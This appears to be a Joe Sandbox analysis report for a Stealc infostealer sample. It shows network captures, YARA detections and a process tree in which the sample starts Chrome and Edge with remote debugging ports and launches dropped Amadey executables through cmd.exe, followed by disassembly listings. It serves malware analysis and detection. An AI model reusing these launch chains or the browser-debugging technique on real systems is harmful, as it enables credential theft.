2024-11-16 12:01:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:43 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-16547b76f7fm8pcwhC1DFWaxcc00000000xg000000002y7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:43 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-1866b5c5fbb2ngs6hC1DFW402w00000000w000000000ds37 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:43 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-16547b76f7fqqjnnhC1DFWxv7400000000yg00000000e5f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:44 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Target ID:	0
Start time:	07:01:10
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x970000
File size:	1'792'000 bytes
MD5 hash:	92F63D65D300B1EB836E62251A754767
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2678974708.0000000000971000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2136155078.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2678974708.0000000000A3C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:01:17
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:01:18
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2208,i,17352263737695313349,12628869929019264965,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:01:27
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:01:28
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2072,i,2537531693354189925,11348691119718681156,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:01:28
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:01:28
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:01:33
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:01:33
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7240 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:02:03
Start date:	16/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:02:03
Start date:	16/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:02:03
Start date:	16/11/2024
Path:	C:\Users\user\DocumentsBFHDHJKKJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBFHDHJKKJD.exe"
Imagebase:	0x3c0000
File size:	3'240'960 bytes
MD5 hash:	03B9E85B193C6271F2999E206AA72387
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2764196524.00000000003C1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:02:09
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x530000
File size:	3'240'960 bytes
MD5 hash:	03B9E85B193C6271F2999E206AA72387
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2776183786.0000000000531000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:02:28
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5892 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:03:00
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x530000
File size:	3'240'960 bytes
MD5 hash:	03B9E85B193C6271F2999E206AA72387
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3394542986.0000000000531000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AF688,00001000), ref: 6C6235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C62363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C62369F
__aulldiv.LIBCMT ref: 6C6236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C623773
EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C62377E
LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C6237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6237C4
EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C6237CB
LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C623801
__aulldiv.LIBCMT ref: 6C623883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C623902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C623918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C62394C

Strings

GTC, xrefs: 6C623912
AuthcAMDenti, xrefs: 6C623946
QPC, xrefs: 6C6238FC
GenuntelineI, xrefs: 6C623639
MOZ_TIMESTAMP_MODE, xrefs: 6C6235DB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: af1de5071383da7d19f30f4205eff29266258c55d7641379cd617069b43a858a
Instruction ID: a482e3332545620f64770b8f41f548687a7b1ecb0ef67e8723d0bf889d59bf61
Opcode Fuzzy Hash: af1de5071383da7d19f30f4205eff29266258c55d7641379cd617069b43a858a
Instruction Fuzzy Hash: 26B1B471B083109BDB08DF6AD49465EB7F9FB8A700F14893DE899D7760D774A8018F8A

Function 6C63C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C63C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C63C969
GetSystemInfo.KERNEL32(?), ref: 6C63C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C63C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C63C9E2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 138643c86a4dc588f4570ef1aba1f0e467ab702a2e58b679bc0dd29ba0a7e124
Instruction ID: 205186cf9ada016e6872217ee8bd17534bf96fab921f73b325a400dcdfe8dca4
Opcode Fuzzy Hash: 138643c86a4dc588f4570ef1aba1f0e467ab702a2e58b679bc0dd29ba0a7e124
Instruction Fuzzy Hash: 0521FC317412387BDB15AA65ECC4BAE73B9BF8A744F511219F907A7A80DB706C00879D

Function 6C623060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C623095

Part of subcall function 6C6235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AF688,00001000), ref: 6C6235D5
Part of subcall function 6C6235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6235E0
Part of subcall function 6C6235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6235FD
Part of subcall function 6C6235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C62363F
Part of subcall function 6C6235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C62369F
Part of subcall function 6C6235A0: __aulldiv.LIBCMT ref: 6C6236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C62309F

Part of subcall function 6C645B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6456EE,?,00000001), ref: 6C645B85
Part of subcall function 6C645B50: EnterCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645B90
Part of subcall function 6C645B50: LeaveCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645BD8
Part of subcall function 6C645B50: GetTickCount64.KERNEL32 ref: 6C645BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6230BE

Part of subcall function 6C6230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C623127
Part of subcall function 6C6230F0: __aulldiv.LIBCMT ref: 6C623140

Part of subcall function 6C65AB2A: __onexit.LIBCMT ref: 6C65AB30

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 00c0fa70d37b4f2663b613acd3eb641b206e8bdd55143aab765ff8f8bfcdede3
Instruction ID: 31ef3f97cd2fc7ffdbe854b59787b562284fc3f2693e558828805f247fb41445
Opcode Fuzzy Hash: 00c0fa70d37b4f2663b613acd3eb641b206e8bdd55143aab765ff8f8bfcdede3
Instruction Fuzzy Hash: F6F0F962E2074896CB10DFB5A8D11EEB374AF6B114F546329E85463531FB2071E883DF

Non-executed Functions

Function 6C635440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C635492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6354A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6354BE
__Init_thread_footer.LIBCMT ref: 6C6354DB

Part of subcall function 6C65AB3F: EnterCriticalSection.KERNEL32(6C6AE370,?,?,6C623527,6C6AF6CC,?,?,?,?,?,?,?,?,6C623284), ref: 6C65AB49
Part of subcall function 6C65AB3F: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C623527,6C6AF6CC,?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65AB7C

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6354F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C635516
GetCurrentThreadId.KERNEL32 ref: 6C63556A
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C635577
moz_xmalloc.MOZGLUE(00000070), ref: 6C635585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C635590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6355E6
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C635606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C635616

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

GetCurrentThreadId.KERNEL32 ref: 6C63563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C635646
